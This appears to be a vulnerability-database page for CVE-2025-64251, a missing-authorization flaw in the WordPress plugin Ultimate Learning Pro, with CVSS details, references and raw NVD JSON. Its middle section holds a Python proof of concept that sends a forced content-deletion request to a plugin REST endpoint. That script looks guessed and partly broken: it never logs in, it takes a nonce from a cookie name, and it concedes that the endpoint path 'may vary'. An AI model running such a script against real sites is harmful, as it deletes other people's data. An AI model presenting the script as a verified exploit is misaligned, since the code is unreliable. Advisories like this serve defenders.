CVE-2025-64251

Description

Missing Authorization vulnerability in azzaroco Ultimate Learning Pro indeed-learning-pro allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Ultimate Learning Pro: from n/a through <= 3.9.3.

CVSS Details

CVSS Score

4.9

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

No configuration data available.

Ultimate Learning Pro (indeed-learning-pro) <= 3.9.3

WordPress插件版本：n/a 至 3.9.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-64251 PoC - Ultimate Learning Pro Authorization Bypass
# Requirements: High privilege WordPress account (Admin role)
# Target: WordPress site with Ultimate Learning Pro plugin <= 3.9.3

import requests
import json

target_url = "https://target-wordpress-site.com"
username = "admin"
password = "admin_password"

# Step 1: Authenticate and get WordPress nonces
session = requests.Session()
login_url = f"{target_url}/wp-login.php"
login_data = {
    "log": username,
    "pwd": password,
    "wp-submit": "Log In"
}

# Step 2: Identify vulnerable endpoint
# The plugin's content deletion function lacks proper authorization check
vulnerable_endpoint = f"{target_url}/wp-json/ulp/v1/delete-content"

# Step 3: Prepare malicious request to delete arbitrary content
# Target any content ID (courses, lessons, user data, etc.)
malicious_payload = {
    "content_type": "course",
    "content_id": 999,  # Arbitrary content ID to delete
    "force_delete": True
}

headers = {
    "Content-Type": "application/json",
    "X-WP-Nonce": session.cookies.get("wordpress_logged_in_") or ""
}

# Step 4: Send exploitation request
response = session.post(
    vulnerable_endpoint,
    json=malicious_payload,
    headers=headers
)

# Step 5: Verify deletion success
if response.status_code == 200:
    print("[+] Content deletion successful - Authorization bypass confirmed")
    print(f"[+] Response: {response.text}")
else:
    print(f"[-] Exploitation failed - Status: {response.status_code}")

# Note: This PoC demonstrates the authorization flaw.
# The actual vulnerable endpoint paths may vary.
# Check plugin source code for exact vulnerable functions.

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-64251
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-64251
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-64251/
[4] VulDB https://vuldb.com/cve/CVE-2025-64251
[5] https://patchstack.com/database/Wordpress/Plugin/indeed-learning-pro/vulnerability/wordpress-ultimate-learning-pro-plugin-3-9-3-arbitrary-content-deletion-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-64251", "sourceIdentifier": "[email protected]", "published": "2025-12-16T09:15:54.937", "lastModified": "2026-04-27T16:16:37.840", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in azzaroco Ultimate Learning Pro indeed-learning-pro allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Ultimate Learning Pro: from n/a through <= 3.9.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/indeed-learning-pro/vulnerability/wordpress-ultimate-learning-pro-plugin-3-9-3-arbitrary-content-deletion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}